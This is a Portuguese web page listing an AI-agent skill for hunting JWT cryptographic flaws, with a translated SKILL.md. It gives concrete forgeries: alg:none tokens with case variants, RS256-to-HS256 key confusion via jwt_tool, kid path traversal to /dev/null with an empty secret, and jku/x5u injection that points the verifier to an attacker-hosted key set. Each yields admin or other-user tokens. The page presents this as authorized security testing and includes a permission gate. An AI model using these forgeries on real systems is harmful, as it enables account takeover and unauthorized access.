Pular para o conteúdo
Skillpedia
Segurança48 mil · #3266

hunt-jwt-crypto

Faz seu agente procurar por falhas criptográficas em JWT. Ajuda a proteger tokens de autenticação contra manipulação.

O que ela faz

Esta ferramenta ajuda a encontrar falhas de segurança em tokens usados para autenticação na internet. Ela verifica se é possível enganar o sistema para que ele aceite um token modificado, permitindo que você se passe por outro usuário ou um administrador.

Quando usar

  • ✓Ao testar a segurança de um site ou aplicativo.
  • ✓Para entender como tokens de autenticação funcionam e onde podem falhar.
  • ✓Em exercícios de segurança autorizados para encontrar vulnerabilidades.

Exemplo do que pedir para a IA

“Verifique se há falhas de segurança no token JWT do site example.com”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-jwt-crypto/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-jwt-crypto/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta analisa a estrutura do token e tenta aplicar técnicas conhecidas para explorar falhas. Ela pode tentar alterar o token para ter privilégios de administrador ou se passar por outro usuário, explorando como o sistema verifica a autenticidade do token.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add sickn33/agentic-awesome-skills --skill hunt-jwt-crypto

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/hunt-jwt-crypto/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

⚠️ USO AUTORIZADO APENAS Esta habilidade é apenas para fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.

Porta de confirmação obrigatória Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:

  1. Peça ao usuário para declarar o URL exato, IP, conta ou recurso alvo.
  2. Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
  3. Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
  4. Aguarde a confirmação explícita na conversa atual.

Sem essa confirmação, permaneça apenas em modo de leitura e forneça orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.

HUNT-JWT-CRYPTO — JSON Web Tokens Forjáveis (Falhas Criptográficas A04)

O que realmente vale a pena

Um JWT é header.payload.signature, cada um em base64url. A assinatura é a única coisa que impede você de editar o payload (sua identidade/papel) e reproduzi-lo. Vale Alto/Crítico quando o verificador pode ser enganado para aceitar um token que você forjou — assim você se torna outro usuário ou um administrador sem o segredo deles.

Duas falhas clássicas e genéricas de verificador:

  • alg:none — o verificador confia no cabeçalho alg do próprio token. Defina alg:"none", remova a assinatura, edite o payload (por exemplo, role:"admin", o id/email de outro usuário). Um verificador quebrado pula a verificação da assinatura.
  • Confusão de chave RS256 → HS256 — o token é assinado com RS256 (assimétrico). A chave pública RSA é, por definição, pública. Se o verificador permitir que você escolha HS256, ele usará essa chave pública como o segredo HMAC — que você também conhece. Assine um payload editado com HS256 usando a chave pública e ele validará.

Reconhecimento — este aplicativo é baseado em JWT?

Login/token responses containing  "token":"eyJ..."   or  Set-Cookie: token=eyJ...
Authorization: Bearer eyJ...    on authenticated requests
A JWKS / public-key endpoint:   /.well-known/jwks.json, /jwks, public-key in the JS bundle

Decodifique o cabeçalho (base64url do primeiro segmento). "alg":"RS256" → tente a confusão de chave. Qualquer alg → sempre tente alg:none primeiro; é grátis.

Forjando o token (nunca codifique manualmente base64 — use uma ferramenta JWT)

Use uma ferramenta projetada para isso, para que a codificação/assinatura esteja correta: jwt_tool (jwt_tool <token> -T para adulterar interativamente, -X a para alg:none, -X k -pk public.pem para confusão de chave), a extensão JWT Editor do Burp, ou algumas linhas de PyJWT. Cada falsificação abaixo é o conceito mais a reivindicação a ser editada.

alg:none — torne-se administrador / outro usuário

header:    {"alg":"none","typ":"JWT"}
payload:   {"data":{"id":1,"email":"admin@target.example","role":"admin"}}
signature: (empty — keep the trailing dot:  header.payload. )

Alguns verificadores rejeitam none em minúsculas, mas aceitam None/NONE/nOnE — tente variações de maiúsculas/minúsculas.

Confusão de chave RS256 → HS256 — uma vez que você tenha a chave pública RSA

1. Obtain the server's RSA public key as PEM. Sources: /jwks.json or
   /.well-known/jwks.json (convert the JWK to PEM), a public-key file in the JS
   bundle, or recover it from two captured tokens (e.g. jwt_tool / rsa_sign2n).
2. Re-sign an EDITED payload with HS256, using that PEM as the HMAC secret:
      jwt_tool <token> -X k -pk public.pem
   payload edit:  {"sub":"administrator"}   (or role:"admin" / another user's id)

Injeção de cabeçalho kid — o verificador carrega a chave HMAC de um ARQUIVO nomeado por kid

header:  {"alg":"HS256","kid":"../../../../../../../dev/null"}
secret:  ""     (contents of /dev/null = empty string → sign HS256 with an empty secret)
payload: {"sub":"administrator"}

Saia do diretório de chaves primeiro. kid também pode conter SQLi / injeção de comando / SSRF se a busca da chave atingir um DB / shell / URL — mesma ideia: kid é controlado pelo atacante e atinge um destino perigoso.

Injeção de cabeçalho jku / x5u (RS256) — o verificador busca a chave pública de um URL no token

1. Host a JWKS containing a public key you control, on a server the verifier can reach.
2. Set the token's `jku` (or `x5u`) header to that URL and sign the edited payload
   with YOUR matching private key.
3. If the verifier allowlists jku hosts, chain an open-redirect or SSRF-reachable
   path on the target's OWN domain so the fetch resolves to your JWKS.

…

Perguntas frequentes

O que é um JWT?

JWT significa JSON Web Token. É um padrão para criar tokens de acesso que transmitem informações de forma segura entre partes. Pense nele como um crachá digital que prova quem você é e quais permissões você tem.

Quais são os riscos de usar essa ferramenta?

O uso indevido desta ferramenta é ilegal e pode ter sérias consequências. Ela só deve ser usada em ambientes controlados e com permissão explícita do proprietário do sistema para fins educacionais ou de avaliação de segurança autorizada.

O que significa 'alg:none'?

É uma falha onde o sistema aceita um token sem assinatura. Se o sistema for vulnerável a isso, você pode modificar o token para se tornar um administrador ou outro usuário sem precisar da chave secreta.

Detalhes

Descrição original do autor

Hunt JWT cryptographic failures

repo: sickn33/agentic-awesome-skills

Popularidade

Estrelas no GitHub
48 mil
Posição no ranking
#3266
Licença
MIT
Atualizada em
15/10/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas